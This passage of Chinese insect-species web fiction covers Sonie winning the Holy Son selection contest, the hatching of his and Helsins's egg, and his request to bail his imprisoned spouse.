索涅将他颈部的斗篷向下扒开,仔细地研究着那块小小的皮肤。 “疼吗?” “刚开始会有点刺痛,前几天消失了, ”赫尔辛斯话音停顿一秒, “晶体可能已经被我吸收, 以前摸上去更硬。” 索涅用指尖轻轻地按了两下, 眉头渐渐拧起, “确实已经不见了。” 他们都明白这意味着什么。 “之前那次, 他们突然给你做检查不是检查虫蛋,而是珀斯晶体?”索涅突然想起这件事。 “对不起,我不该骗您。”雌虫很干脆地道歉。 “……所以检查结果是什么?”索涅说。 “珀斯晶体是严格管制品, 他们可能想从我身上提取, 但失败了。”赫尔辛斯说。 失败的原因显而易见。 索涅心脏发沉, “赫尔辛斯,你现在还能接受我的精神梳理吗?” 赫尔辛斯沉默着, 缓缓地仰头靠在他身上,精致的眉骨抵着索涅的下颌,气息低沉。 “感谢您的慷慨,我的精神域还风平浪静,不过……”雌虫的唇轻触他的锁骨, “我很想念您,您还会给我吗?” 索涅喉咙微动。 精神丝顺着雌虫的发丝眉弓,缓缓地爬进太阳穴,无比顺利地穿刺雌虫的精神域。 “真美。”索涅坐在小岛上, 看着碧蓝的宁静的海面。 为了不刺激雌虫产生情欲,他已经很久没仔细地梳理过雌虫的精神域,乍看宁静祥和, 海面之下却有着波涛汹涌,不断地撞击着小岛。 索涅抓住那几团精神丝,狂躁的丝团被强力压制,他逐一解开理顺,精神丝在雌虫的控制下变得温驯而直白。 赫尔辛斯的精神丝蹭开他的怀抱,趴在他身上扭来扭去。 “这和传闻中不一样。”索涅的声音响彻精神域。 “你还能接受我的精神梳理,难道那珀斯晶体是假的?” 他退出精神域,看到雌虫暗含控诉的眼神。 “……”索涅双手捧住他的脸,“你老实说,这是真的能梳理,还是你在控制精神丝诓我?” 赫尔辛斯垂下眼。 雄虫已经不信任他了。 索涅无奈地将他拥进怀里,他最受不了赫尔辛斯露出这副失落的神情,好像在他心上挖了个洞。 “如果能梳理,真是个天大的好消息,”索涅不禁喃喃自语,“赫尔辛斯,我要给那个卖假珀斯晶体的盖庙供奉。” 赫尔辛斯思索再三,还是将自己的猜测告诉索涅,“我觉得那块珀斯晶体不像假货。” “什么意思?那怎么……”索涅皱起眉。 “我也不明白,但最初确实有一些排斥反应,后来莫名其妙就不见了。“赫尔辛斯说道。 “我开始想转科学院了。”索涅缓缓地说。 赫尔辛斯咬着他的锁骨,发出闷闷的笑声:“您喜欢我。” “显而易见。”索涅说。 旁边的桌子上,虫蛋静静地窝在保育箱中,微不可察地轻轻晃动几下,复又安静下来。 —— 春季开学时间定在第三轮试炼的第二天,这论试炼内容每一次都不尽相同,此前星网已经猜出几千种,头头是道,每种看起来都很有可能。 他们进入莫里斯宫,和第二轮一样坐进虚拟仓,不过这次呈现在眼前的却不是寂寥的虚拟宇宙,而是一个类似于深度决斗的擂台。 第三轮,他已经和以前的寂寂无名不一样,很多虫下意识地搜寻索涅,关注着他的一举一动。 这种总被盯着的感觉很烦。 第三轮评审多了很多新面孔,不过其他雄虫都不惊讶,索涅猜测大概是些身居高位的虫。 “诸位阁下,这是一个值得庆祝的好消息,”费伦斯说道,“经过商讨,圣山将为新的圣子殿下赠与一颗高纯度金矿星。” “以我的名义,白玉蜂也将赠与殿下一颗宝石矿星、一颗能源矿星。”安莫因慢悠悠地补充。 他们两个之间的火药味几乎扑到在场所有虫脸上,与此同时,这种出手就是星球为单位的壕气冲天让虫子们都有些讶异。 虽然梅尔加不缺钱,但当钱多到一定程度,任何虫都会眼红。奥维不禁逐一打量梅尔加候选者,令他厌恶的是,积分最高的梅尔加雄虫是维希,一个他看不起的异类。 索涅感觉到周围雄虫的情绪明显高涨,个个像打了鸡血似的斗志昂扬起来。 他茫然的思考着矿星的意义。 这个数量级对他来说太大了,他想不出来,不过也知道大概是很贵的。 维希则是一脸放空,宛如没有灵魂的木偶,空洞的眼睛偶尔扫过艾浮,让后者直起鸡皮疙瘩。 一个古老的机械电子音一板一眼地宣布规则,第三轮采用一对一积分剥夺战,初始积分一万,一百只雄虫通过抽签决定第一轮对手,然后错位轮换一周,胜方可拿走败方百分之五十的积分,最后积分最多者获胜。 这一轮的试炼时间长达十八小时,不仅是对精神力和身体素质的考验,也是对综合素质管理能力的终极挑战。 试炼的内容为:在十五分钟内观察某星球海陆、地形、资源、气候,并做出全方位的藩国行政区划分和生产生活功能部署。 索涅看着巨大光屏上轮番滚动的辅助资料,不禁无奈。对于疆域辽阔的虫族来说,一颗星球就是一个藩国,甚至有些虫手握几个星球的领主权,一个国家拥有多颗宜居星。 雄虫们脸色彻底垮掉,怪不得奖励这么丰厚,这是要让他们十五分钟内在荒星建国?做什么白日梦?! 刚才被丰厚奖品鼓舞起来的士气一下子萎靡不振。 费伦斯目光巡视一周,无声地落在索涅身上,满意地看到年轻的雄虫面不改色。 “阁下们不必担忧,毕竟这不是考验完成度,只要战胜对手就能获得积分。”奥维实在看不下去几只梅尔加颓丧的糗样,开口提醒他们。 一百只雄虫里梅尔加占了六十五只,四只平民雄虫,其余全部来自各贵族。 这样考验全局眼光的试炼任务,明显贵族更占优势。以往费伦斯殿下都会在各个地方为平民虫子们争取位置,但显然这次他输给了安莫因·苏利亚。 连给圣子送礼物这种事都被安莫因压一头。 索涅按下自己面前出现的按钮,面前小光屏蓝光一闪,缓缓出现一个“20”。 三十秒之后,光屏上的数字变为密密麻麻的文字信息,全是对某星球的描述。 索涅抬起头,发现周围不知何时已经变为一片虚空,生动的星球模型在面前缓缓旋转,山脉起伏、海水拍岸,有些地方还正乌云密布阴雨连绵,海面上数个大大小小的台风眼正极为缓慢地旋转。 他伸手拨动,星球就开始加速旋转,状态却不变,只是方便他从各种角度观察。左手按住星球,右手就可以添加线条划分区域。 就像在玩地球仪。 他心念一动,精神丝猛地扑涌而出包围模型,星球的每一块陆地,每一处丘陵他瞬间了如指掌。 果然,最后一关不可能放过对精神力的再度考察。 系统冰冷声音响起的瞬间,倒计时凭空出现,血红到刺眼,末位数字开始疯狂跳动。 三分钟过去,索涅额头渗出一层汗珠。 这完全是在考验前世的知识,虫族的文化习惯和生理结构与人类不尽相同,索涅感觉自己的脑子快被掰成两半。 左边觉得很合理,右边觉得左边蠢到爆炸。 “哔——” 面前的星球“嘭”得炸成烟花,索涅呆滞地扬着手臂。 这么快就结束了?! 他心里很没底地看向光屏。 10000的积分静置几秒,缓缓地变为15000。 他赢了。 回归现实,他们需要喝下补充剂才能轮换第二周。积分榜已经发生巨变,失去五千积分的雄虫面色都不大好看。 “评分规则到底是什么?”一只雄虫不甘心地问。 费伦斯食指点在光屏,一副宏大的图景顿时出现在他们面前。 “系统会根据各位阁下的设计,投入微观世界倍速演算,评估矛盾体系和平均发展变率。” “这不公平,演算有偶然性。”雄虫当即反驳。 费伦斯微笑:“您说的很有道理,但遗憾的是我们无法杜绝这种偏差,这是我们商讨出来最有公平性的比赛方式,您的雄父当时也非常赞同。” 雄虫眼神一虚,讷讷不言。 “请问执政官阁下,既然内部投过票,怎么保证不会泄题?毕竟在场基本全是贵族。”又一只雄虫说道。 “抱歉,”安莫因缓缓开口,“投票的部分只有倍速演算系统,考核内容是圣山单独拟定,如果您担心圣山泄题,那么请您先找出证据。” 所有虫惊讶地看着他,没想到安莫因会帮费伦斯说话。 哪想到这只位高权重的雌虫轻哼一声,慢悠悠地说道:“如果您有证据,我可以免费为您提供优质律师。” 虫子们:“……” 费伦斯看起来完全不生气,平静地宣布第二周目开始。 索涅看着针锋相对的两只虫子,总觉得好像哪里不太对。 怎么有股打情骂俏的既视感。 第48章 破壳 就算有补充剂,进行到第二十五周…… 就算有补充剂, 进行到第二十五周目时所有雄虫还是强制休息一小时,莫里斯宫准备了午餐,虫子们陆陆续续走到另一个房间用餐。 维希端着一盘食物坐在索涅对面, “索涅阁下怎么不选甜品?莫里斯宫的甜品师闻名星际。” 索涅视线下落, “你也没选。”。 维希耸耸肩, “我不喜欢甜食。” “我也不喜欢, ”索涅用餐叉碾碎炖煮烂糊的番茄。 “你的积分可是排在第一名, 你觉得, 我有没有可能超过你?”维希的声音并没有刻意压低,这话顿时让周围虫子竖起耳朵。 “拭目以待。”索涅语气淡淡。 两只虫子面对面坐着,虽然语气平和, 但围观众虫为他们脑补出兵戈相见的声音。 安莫因优雅地擦擦嘴, 转向费伦斯, “执政官阁下,可以将您面前的浆果派递给我吗?” 费伦斯目光微抬, 落在安莫因脸上。 “给委员长阁下再上一份。”他吩咐侍者。 安莫因有些百无聊赖地切着派,蓝紫色果酱在盘子里四溅奔流,他只挖起果酱吃掉,酥皮壳子怎么也咽不下去。 贵族们最擅长这样的交际场合,渐渐地向索涅的位置靠拢。 终于, 在索涅拿起果汁时,一只衣着华丽的雄虫顺势开口:“阁下也喜欢碧芭果?我还以为我这种独特的口味一辈子也碰不到知音。” 索涅看着自己手里的黄瓜汁:“……” 什么果? 雄虫顺势坐在他们旁边,开始滔滔不绝地转换各种话题。 “天气预报说晚上还会有暴风雪,两位也是搭乘小飞行舰回去?话说最近新出的几款飞行舰都丑得千奇百怪……” 索涅额角渐渐发痛发胀。 维希倒是听得津津有味, 时不时点个头。 他们两个休息的地方渐渐变得虫群密集。 等到雄虫一通闲话唠完,维希发出一个致命问题:“如果你看上一只婚雌怎么办?” 雄虫:“……” 他表情渐渐惊恐,默默地往索涅的方向靠近。 “你见多识广, 我想请教一下,什么东西可以挡住最高法监狱的监控?”索涅礼貌地问。 雄虫尬笑两声,随便找了个理由迅速远离这两个活阎王。 时间很快来到夜晚,雄虫们结束最后一周目,既忐忑又激动地从虚拟仓中出来,纷纷面色虚浮宛如被榨干。 “这太不合理了……”一只雄虫忍不住吐槽,“到后面状态越来越差,保持不下线已经是极限,根本没精力试炼!” “应该分成几天慢慢来,这样我们的实力根本没发挥出来。”另一只雄虫也说道。 索涅嘴唇干裂,本就苍白的皮肤更是面无血色,侍者们迅速地拿来精神力补充剂、营养液和清水。索涅拿起水杯的手都在发颤。 “看来这次试炼的强度有些超纲,费伦斯阁下。”奥维意味不明地说。 “无妨,下次我们可以恢复实战考核,不过听说我们某位阁下是圣托机甲战斗系。”安莫因接过话头,“如果是这样,那谁胜利就更没有悬念了。” 奥维脸色一沉。 他们都心中有数,现在唯一可操作的就剩下评审核查。 索涅这次实在没有行动的力气,只得和其他雄虫们坐在一边,看着评审们逐一给他们的考核过程打分。 去掉五个最高分五个最低分,每只虫都可以有90个分数,取平均分作为最终成绩。 索涅渐渐地恢复了一些力气,他看着那边的繁忙肃穆,心思却逐渐放空。 赫尔辛斯睡了吗? 已经凌晨了,他的雌虫应该抱着虫蛋,安稳地躺在床上,苍金色的长发铺洒在身后,睫毛像小扇子一样…… “索涅阁下,你笑得好傻。”维希很煞风景地说。 索涅说:“你期待的样子也很傻。” 维希:“……” 这只虫子嘴巴抹了剧毒吗?肤色跟涂了铅粉似的,果然不宜靠近。 法门今天没有来,维希打不起精神。 索涅渐渐地恢复力气,那边虫子们却还没有评审完,他开始按捺不住。 “他们在争论什么,奥维看起来很激动。”维希说,“不如打个赌,我赌奥维是在挑你的刺。” 索涅不是很想赌,再怎么说还是维希更了解奥维。 环形长桌上,安莫因正和奥维冷眼相对。 “委员长阁下,您要怎么解释他瞬间精神力覆盖星球的行为?我不认为这很常见,尤其他还是个平民。”奥维神情倨傲。 “不要觉得梅尔加办不到的事情就不可能发生,”安莫因的神情近似于嗤笑,“深度决斗有很多类似的模拟赛。” “别开玩笑了,安莫因,”另一只雌虫开口,他觉得安莫因找的理由有点蠢,“雄虫怎么可能会玩深度决斗?” “你的信息实在是落后,没听过那只叫‘蓝色行星’的雄虫?他今年带动不少雄虫们进入深度决斗。况且以联盟的民众基数,你不会以为没有一只雄虫喜欢战斗吧?”安莫因说道。 他翘着腿,模样游刃有余,“圣子遴选更是特殊时期,不少雄虫没有雄厚的家族支撑,会在深度决斗模拟训练。” “你又怎么知道?”奥维忍不住质疑,“白玉蜂王族的雄虫也需要进深度决斗模拟?” “很抱歉,我是议会委员长,要关注的基本问题比奥维族长您要多得多。”安莫因平淡地说出这句话。 “我可不会因为我族雄虫选不上圣子就在这儿无中生有,颠倒黑白——” 费伦斯的眼神让安莫因话音稍顿。 费伦斯轻轻地用指节敲了敲桌面,“我可以认为,诸位已经争论完毕?” 奥维看起来不甘心,但也没有再说话。 “两位圣子有什么看法?”费伦斯问道。 西沙见奥维不说话,也不打算说话。 “索涅阁下的精神丝状态的确有些异常,一瞬间倾巢而出,怎么可能安然无恙?”艾浮说道。 “我想对于这个我有些发言权,”费伦斯说。“他显然还不算倾巢而出,按照他的精神丝细度和等级,他至少还保留五分之一精神力。” “模拟系统还不够精细,他对精神力的运用诸位也看到了,我们也进行过多轮检查,奥维族长,你负责的那一轮检查出什么了吗?” “没有。”奥维不情不愿地说。 艾浮真是个蠢货!这么下他的面子! “如果没有其他意见,那么请诸位上交评分表,由系统计算候选者的最终得分。”费伦斯一锤定音。 安莫因按下按钮,然后披上斗篷大步走出会厅。 时间一分一秒地流逝着。 “执政官阁下,可以宣布结果了吗?”奥维不禁催问。他心中的把握已经摇摇欲坠,耐性越来越差。 费伦斯姿态端正地坐着,微卷的长发散在宽松的白色长袍上。 “请稍等。”费伦斯淡声说道。 奥维心情焦躁,却又不能表现出坐立难安。 不过他的急躁谁又看不出来呢?艾浮更是已经将不耐烦摆到了脸上。 又几分钟过去,大门缓缓打开,冷白的灯光倾泻而入,安莫因双手捧着漆黑的托盘,托盘上盖着蓝丝绒。他身后跟着数十只统一着装的卫队雌虫,庄严肃穆。 所有虫的目光不由得落在那个托盘上,随着费伦斯起身,又紧紧地盯着费伦斯。 “漫漫宇宙中,虫族从脆弱无智的原始生物,历经亿万年进化,经历无数次灭族危机,成为拥有自保能力的高科技文明、智慧生命,虫族走多远,圣山就陪伴多远……”费伦斯的声音在寂静的宫殿回响。 这声音经由层层反射,庄严的神圣感随之抵达索涅的身心,他也不由得严肃心神,专心地聆听着。 “现在,请容我宣布后隧纪第八百五十八次圣子遴选的结果。” 全场屏息。 安莫因缓缓地露出一个笑。 “他以两万五千分的最终成绩创造新纪录,精神力等级顶A、身体素质顶A、信息素等级顶A,是当之无愧的圣子,潜力深厚的年轻战士——” “——索涅·诺米茨阁下,圣山已为您的到来恭候多时。” 早有预料。 但还是不如这隆重的宣布来的震撼。 道道目光穿过前方数十只雄虫,引的他们忍不住向两边分散,露出本就鹤立鸡群的雄虫全身。 雄虫的脸色还有些苍白,额头鬓角的黑发被汗液浸湿,善恶难辨的三白眼静静地与费伦斯对视。 费伦斯的眼睛不禁变得柔和。 “索涅阁下,请您上前来。” 索涅并不紧张。 他只是脑海一片空白,疯狂地想着一句话。 我能救赫尔辛斯了,我能救了…… 他缓缓地走到高台下。 费伦斯转身握住托盘,没抽动:“……” 他和安莫因四目相对,看到对方固执的眼神。 心中轻叹。 “请安莫因·苏利亚委员长交予冕服。” 安莫因非常严肃,看起来甚至有点忐忑,双手将冕服交到索涅手上。 “恭喜您。”安莫因郑重地说。 “谢谢。” 索涅双手接过,柔软的蓝丝绒印在他眼睛里,瞳仁边缘的深蓝顿时加重,剔透而深邃。 “圣山将与您一同商讨加冕仪式的事宜,不过从此时此刻起您已经是圣子,期间如果有会议,您也需要出席。”费伦斯耐心地说,“我会通知您。” “诸位阁下们,天色已晚,圣山莫里斯宫为阁下们安排了住所和夜宵,凌晨会有突发性风雪,需要下山请提前说明。” “美食美酒,温床软塌,莫里斯宫对给阁下们造成的辛苦深表歉意,还请尽情享用。” 费伦斯话音落下,肃穆的氛围便轻松起来。 “那我们可就不客气了。”一只雌虫说,“安莫因委员长呢?留宿吗?” 安莫因傲娇地点点头。 虫子们不禁感慨,费伦斯阁下真是体面,这都不反驳。 “很抱歉,执政官阁下,我需要下山。”索涅是唯一一个提出下山的虫,就连梅尔加的几位都选择留宿。 虫子们默默地看着他,目光多是奇异的探究。 费伦斯当然知道是因为什么。 “你来时的飞行舰已经不适用,”他委婉地说,“我为你安排中型飞行舰?” “多谢您,抱歉给您造成麻烦。”索涅连忙道谢。 作为最应该留在莫里斯宫的虫,他却这么拂费伦斯的面子,费伦斯给他的印象很好,索涅深感抱歉。 但他一定要回去。 “我倒是听闻一件有趣的事,”奥维和他身边的雄虫说道,“这位圣子殿下据说有另一层身份,在星网上很出风头。” “不用据说,”安莫因不知道什么时候飘到他身后,阴恻恻,“蓝色行星就是索涅圣子,再出风头能出得过您的两位雄子?” “你什么意思?!!”艾浮一下子怒了。 “字面意思。”安莫因懒洋洋地说完,“谁看不出来?这主星有点风声大家都心知肚明。” “你!”奥维语结。 艾浮感受到别的虫隐晦的目光,脸上一阵臊红,狠狠地瞪了维希好几眼。 但安莫因说的对,毕竟装模作样也是贵族日常的一部分。 会厅里一时声音鼎沸,最具权柄的两位却各自早早回房,话题中心也提前离场,这场交际便显得索然无味。 —— 已经是春季,圣山脚下却来了一场猛烈的倒春寒,风雪交加连下三个多小时。飞行舰降落在最高法舰场,索涅踩着厚厚的积雪往回走,两只守卫雌虫执意护送。 索涅走到监牢门口,“你们回去吧。” 两只雌虫对视一眼,“费伦斯阁下嘱咐我们保护您……” “那就回飞行舰里去。”索涅说,“待在这儿也没用。” 的确如此,于是两只雌虫只得离开。 见到这幅情景,门前五只军雌已经明白什么,动作间愈发恭敬。 索涅放轻脚步缓缓地走进屋里,他以为雌虫已经熟睡,却不曾想对上一双苍金色的眼睛。 “赫尔辛斯——”索涅的话音被飞扑过来的雌虫打断。 飘飞的长发撩入他手心,索涅被雌虫巨大的力气勒得不得不拍拍他的肩膀。 “好疼哦。”他笑着说。 雌虫不说话,但放松了手臂。 “我也没想到会这么久,”索涅安抚着他,“还以为你已经睡了。” “我睡不着。”赫尔辛斯说,“还以为您……” 第三轮有一定危险性,以前不是没有雄虫受伤。 “我还以为你是想我想得睡不着。”索涅说,“猜猜我带回什么好消息?” 赫尔辛斯取下他的斗篷,正拍着上面的雪花和融化的水珠,闻言眼睛一亮,定定地看着索涅。 “您的意思是……”他放轻声音,“……您成功了?” 索涅笑不可抑地掐住他的脸蛋,雌虫脸上薄薄的皮肉柔软光滑,他轻轻一捏,又凑上去在捏过的地方吻了一下。 “您又戏弄我。”赫尔辛斯埋怨地说,“这么重要的消息,您还有心情跟我玩闹。” “多可爱,”索涅忍俊不禁,“好了我错了,你打我吧。” 雌虫重重地拍打着他的斗篷,然后挂单子架上,倾身叼住他的唇,恨恨地磨牙。 “嘭!” “嘭!!” “嘭!嘭!” 两只虫胡闹半晌,突然听到几道不大的撞击声。最开始他们没有注意,这声音却越来越大。 “嗙!” 一声巨响。 赫尔辛斯警惕地环视四周,按理说监牢里不会有这么大的声音。索涅四处观察,却什么也没发现。 他疑惑地正要问赫尔辛斯,却发现某个箱子正躺在地上。 “……” 索涅猛然瞪大眼睛,瞳孔颤抖。 “赫尔辛斯!虫蛋!”他迅速地从地上抱起箱子,发现里面的灯光已经由暖光变成柔白。 “灯光变了!”索涅不明白,“崽崽怎么会掉到地上?” 他进来的时候明明看到赫尔辛斯将虫蛋放在桌子中央。 赫尔辛斯也吓了一跳,连忙接过保育箱,“白色灯光表示孵化已完成。” “破壳了?!”索涅连忙凑近,和雌虫脑袋抵着脑袋观察虫蛋。 赫尔辛斯也正疑惑,“壳没有裂缝,这个保育箱是不是坏了……” “啪叽!” 保育箱在赫尔辛斯手里剧烈地抖了一下,撞在他手心,差点从手边窜出去,吓得索涅连忙上手护住。 他们俩定睛看去,发现虫蛋从侧面裂开一条小小的缝儿。 两虫对视一眼,连忙输入密码打开保育箱。赫尔辛斯捧着箱子,索涅小心地取出虫蛋。 他慢慢地将虫蛋转过来。 “……” 索涅不可置信地看着这个小家伙。 虫蛋的后半部分消失不见,边缘整整齐齐,犹如砂纸精心打磨过一般。一只金色头毛的小崽崽正坐在半个蛋壳里,浑身暖白如玉,暗金色大眼睛好奇地看着他们。 小嘴巴啪叽啪叽,旁边疑似某种碎屑。 “他他他他——不会是把蛋壳吃掉了吧?!”索涅结结巴巴。 虽然崽崽好可爱,但是—— “他的嘴是切割机吗?”索涅恍恍惚惚。 “……”赫尔辛斯犹疑,“这可能是某种返祖现象,万年之前的虫族幼崽的确会吃蛋壳,来补充促进发育的卵壳素。” 索涅看着崽崽的小脚丫子,“所以刚才是他一脚把保育箱踹到了地上?” 赫尔辛斯再次沉默,他试图解释:“……可能是虫崽太健康了,力气有点大。” 虫崽大眼睛滴溜溜地在两个父亲之间来回转,看到他们在说话却不带自己,着急地张大嘴巴“啊啊”地叫唤,露出一口小米牙。 “……不愧是我们的崽崽,刚孵出来就有牙。”索涅说,“他是不是肚子饿了。” 赫尔辛斯奇异地看着索涅将崽子塞到他手里,然后手忙脚乱地到处翻找营养奶。 他小雄主接受力比他强()。 赫尔辛斯将小崽崽从蛋壳里抱出来,用索涅翻箱倒柜找出来的干巾擦去虫崽身上的的卵液,穿上柔软细腻的小衣服。 索涅凑在旁边一眨不眨地看着赫尔辛斯的操作。 等雌虫照料好崽崽,索涅接手,将加热器中的营养奶喂给小虫崽。 “太突然了,”索涅的动作紧张兮兮,“还有很多我没学会,学会的竟然也不会做了。” 小虫崽崽吃饱后昏昏欲睡,不哭也不闹,擦干身上卵液后愈发白净可爱。 “剩下的蛋壳怎么办?”索涅拿起小蛋壳,再次感慨虫崽的牙齿之锋利。 “保存起来吧,或许明天得给崽崽做个检查。”赫尔辛斯说,“要辛苦您了。” “那给我一个亲亲吧,”索涅勾起唇角,“就当辛苦费。” 赫尔辛斯凑过去,吻在雄虫淡色的唇上。 “咦呀?”幼嫩的声音响起。 他们扭过头,一双圆溜溜的眼睛正好奇地看着他们。 “小家伙不是睡着了吗?”索涅无奈。 他一看时间,已经是黎明时分。 索涅将摇篮放到衣架之后,勉强营造出一个昏暗一点的环境。果然,虫崽很快就睡着了。 他们也躺到床上,赫尔辛斯说他有些睡不着,索涅缓缓地揉按着雌虫的后颈,依偎在一起遮住雌虫的眼睛。 赫尔辛斯靠在索涅胸前,听着一声声平稳的心跳。 砰。 砰。 砰。 索涅消耗严重,比雌虫更困意浓重。 “您带虫崽先离开这里吧。”赫尔辛斯突然说。 索涅一下子就清醒了。 “什么意思?” “您需要更好的环境,圣子怎么能住在监牢里呢?很多虫会议论您。”赫尔辛斯低声说,“虫崽也不适合这样的环境,把他暂时交给其他虫,我不放心。” “你倒是信任我。”索涅气笑了。 索涅并不是个很理性的人,他不想听赫尔辛斯说的这些话,但他也找不出理由拒绝,尤其虫崽的现实问题摆在眼前。 “我不想离开你。”他说,“一定还有别的办法。” “给我一天时间,好不好?我就是这么贪婪,我想两全其美。”索涅在雌虫耳边说道。 这样索涅会很辛苦,甚至失去一些无比宝贵的东西。 赫尔辛斯闭上眼睛,没有去提醒雄虫。 索涅的贪婪也是赫尔辛斯的贪婪,但他惶恐的是,现在为此付出的只有索涅,而自己是这么没用。 “赫尔辛斯。”索涅突然小声地叫他,语气犹疑。 “怎么了?”赫尔辛斯从沉浸的思绪里回神。 “你……胸前有点硬。”索涅超小声地说。 赫尔辛斯瞬间脸爆红,闭上眼睛假装听不见—— 作者有话说:虫崽崽:什么香香脆脆我们都爱? 第49章 出狱 “圣子殿下,经过检查,小虫…… “圣子殿下, 经过检查,小虫崽很健康。”范斯医院内,医雌对索涅说道。 “至于力气奇大和提前长牙的现象, 之前我们也发现过几例, 这是一种返祖现象, ”医雌拿出一些曾经的报告单, 递给索涅, “不确定是否有副作用, 但已知的几例中没有出现异常情况,并且这些虫崽长大后等级都非常高。” 索涅拿过报告单。 这第一例是只雄虫,名字不详, 不过曾经也当选过圣子, 实力毋庸置疑。后面几只都是雌虫, 无一例外全部在军部手握重权。 索涅无法完全放下心。 虫崽坐在他怀里,金色大眼睛好奇地看着他雄父, 又扭过小身子去瞅洁白的医疗室。 “多谢,如果这方面有新的进展,还请您通知我。”索涅说。 “当然,您不用为此客气,圣子殿下, ”医雌连忙摆手,“这是我应该做的。” 他今天早上一醒来就刷到圣子遴选结果已出的通知,却没想到自己今天的第一个预约就是这位传说中的新圣子。 索涅走后,医雌一时无事可做, 不禁在心里琢磨这位新圣子。 看起来一副凶相,仿佛脾气很差很不耐烦,但其实圣子对怀里的小虫崽很关心, 抱着小崽子的手法非常温柔。 他见过不少温柔的雄虫,但没见过会温柔地抱雌虫小崽子的圣子。 索涅出了范斯医院,搭乘飞行舰直奔圣托。 他刚下飞行舰,临倍热情地笑着,“圣子殿下——这是您的小虫崽?” 他神情抑制不住地讶异。 索涅不明白临倍在惊讶什么,赫尔辛斯生了雌蛋的消息这些个虫应该都心知肚明。 “抱歉,昨晚崽崽突然孵化,今早必须得尽快做身体检查,让您久等了。”索涅说。 他说完话,虫崽咯咯地笑了两声。 “您太客气了,不如我们先上飞行器,雄虫部的学生们很期待您的到来。”临倍笑呵呵地说。 索涅颔首。 这飞行器格外豪华,虫崽扭来扭去到处看,对什么都很好奇。 索涅捻起一枚小果子,在虫崽崽眼前晃了晃。虫崽定定地看着它,开心地咧开嘴。 “您的虫崽真是可爱,想必以后会是一只相当美丽强大的雌虫。”临倍夸赞道。 索涅展眉,“他像他的雌父。” 临倍笑而不言。 索涅抱着虫崽进入会厅,有些嘈杂的声音顿时一静。他在写自己名字的位置上坐下,将小崽崽放在腿上。 临倍隆重地介绍了一遍在座的老师,在索涅的要求下没有单独提他的名字。 索涅是觉得他抱着孩子来学校已经很奇葩了,不想再抱着小崽崽起来讲话。 但仍旧不可避免地引起一阵哗然。 不少雄虫学生捶胸顿足,曾经多少机会像雨点般朝他们打来,他们竟然一一闪过了! 其余雄虫冷眼相看。起势这么晚的圣子,有什么可追随的?平民,必输无疑。 报道完毕,索涅抱着崽子正要离开,被一只虫叫住,“好啊!你这家伙心真大!抱着孩子来上学?” 索涅无奈地回过头,“还是被你发现了。” 恩修“切”了一声,神情鬼祟,“哇哦!快让我看看!宝宝宝宝宝宝!可爱的小宝宝!” 恩修神情动作造作得仿佛拧成一团,看得索涅直起鸡皮疙瘩。 “喔噢,白白的!”恩修拨开小虫崽的帽子瞅了一眼,“看来赫尔辛斯的肤色被你给中和了。” 莱昂兹凑过来要看,恩修把位置让给心急难耐的雌虫。 小虫崽咧嘴笑了一声。 恩修:“我靠!他怎么有牙!” “据说是返祖,牙齿提前发育。我和赫尔辛斯发现的时候,他已经把半个蛋壳吃掉了。”去磨合说。 恩修瞪大眼睛,“卵生果然更玄幻,那你待会要回去陪老婆?” 索涅却摇头,“我有点事,得去一趟圣山,” “去吧去吧,圣子殿下,”恩修又凑过去玩虫崽崽,“今时不同往日,我虽然没啥能力,但需要我帮忙的你尽管说!” “到时候我会说的。”索涅笑着说道。 恩修一脸意犹未尽地看着小崽子,“好好玩儿。” 莱昂兹:“……” —— 莫里斯宫的积雪仿佛终年不化,索涅下意识用斗篷包着小虫崽,小家伙玩着襟领的流苏咯咯笑。 “索涅阁下,”费伦斯仿佛等他多时,桌上书本摆得整整齐齐,“这是……小虫崽?” 费伦斯的注意力被崽崽吸引,索涅取下斗篷露出做工精细的蛛丝珍珠帽。 大眼睛盯着书房从房顶垂到地板的厚重窗帘,看了一会儿,又转身趴进索涅怀里。 费伦斯忍不住露出一丝柔和的笑意,“真可爱,你既然买了蛛丝衣物,怎么还给他包着斗篷?” “我没有照顾虫崽的经验,带着虫崽就过来找您,实在是迫不得已。”索涅说。 费伦斯的眼睛和他对视,索涅不禁感觉到一种莫名的熟悉。 “我得陪着赫尔辛斯,但监牢的环境毕竟不太好,虫崽的睡眠很难满足,”索涅缓缓地说道,“我记得圣子的特权中,有一条是加额保释。” 费伦斯静静地看着他。 “你要知道,加额保释,是用你的名誉,去赌他没有犯罪。”费伦斯的声音重而缓慢。 “我知道。”索涅平静地说。 费伦斯看了他一会儿,开口:“圣子殿下,我不建议你这么做。你走到这里,难道就是为了时时刻刻站在悬崖边摇摇欲坠?还是稳妥些比较好。” “我需要表明我的态度,”索涅低头看着虫崽揪住他衣领的小爪子,“我在乎赫尔辛斯,曾经可能不重要,我的态度多少有了一点分量。” “我将成为他平反的筹码之一。” 有那么一刻,费伦斯仿佛从索涅身上看到了当年的自己。 在规则之下,永远都有虫奋力挣扎。 费伦斯曾经意气风发,觉得世界上没有什么事自己办不到。 后来他意识到总有些事他办不到。 但多年之后,这颗苦痛的种子终于还是开花了。 苍白冷漠,但心含烈火。 费伦斯的眼底藏着一丝欣慰。 “既然你已经决定,圣山将代你向最高法传达这份需求,”费伦斯从抽屉取出一份卷轴,眼含笑意,“索涅圣子,这是圣山例行给予每位圣子的宫殿,您看看位置是否满意。” 索涅打开卷轴,蹙起眉。 “怎么?不喜欢?”费伦斯问。 “……不,”索涅收起收起卷轴,“我很满意,多谢圣山的慷慨。” “再让我看看小虫崽,长得真像赫尔辛斯,下一个或许会像你?”费伦斯说。 虫崽大眼睛眨巴两下,见他们不再说话,注意力还放在自己身上,顿时笑呵呵地。 “生蛋伤身,有这么一只崽子就够了。”索涅说道。 “……也好,”费伦斯说道,“一个崽子正好,为什么非要生第二个?” “不过根据我的经验,雌虫们可不这么想。” 听这语气,费伦斯似乎是有雌虫的。并且还有虫崽子。 索涅一时不明白对方跟自己说这话到底什么意思。 索涅并没有听到什么费伦斯有虫崽的风声,要是他真有,现在圣山和议会的格局都得变一变。 他抱着虫崽回到最高法,发现杰里士正在门口蹲他。 “圣子殿下!”杰里士连忙迎上前,“圣山刚才说您要求加额保释赫尔辛斯??” 索涅颔首,“有困难?” “……没有困难,您考虑清楚后,我们可以立刻为您办理。”杰里士暗暗地提醒索涅慎重决定。毕竟以他的角度看,赫尔辛斯站在待在这个监狱也很舒坦,没必要拿雄虫的名誉做赌注。 万一出什么岔子,赫尔辛斯和索涅之间的关系势必会出现裂痕。 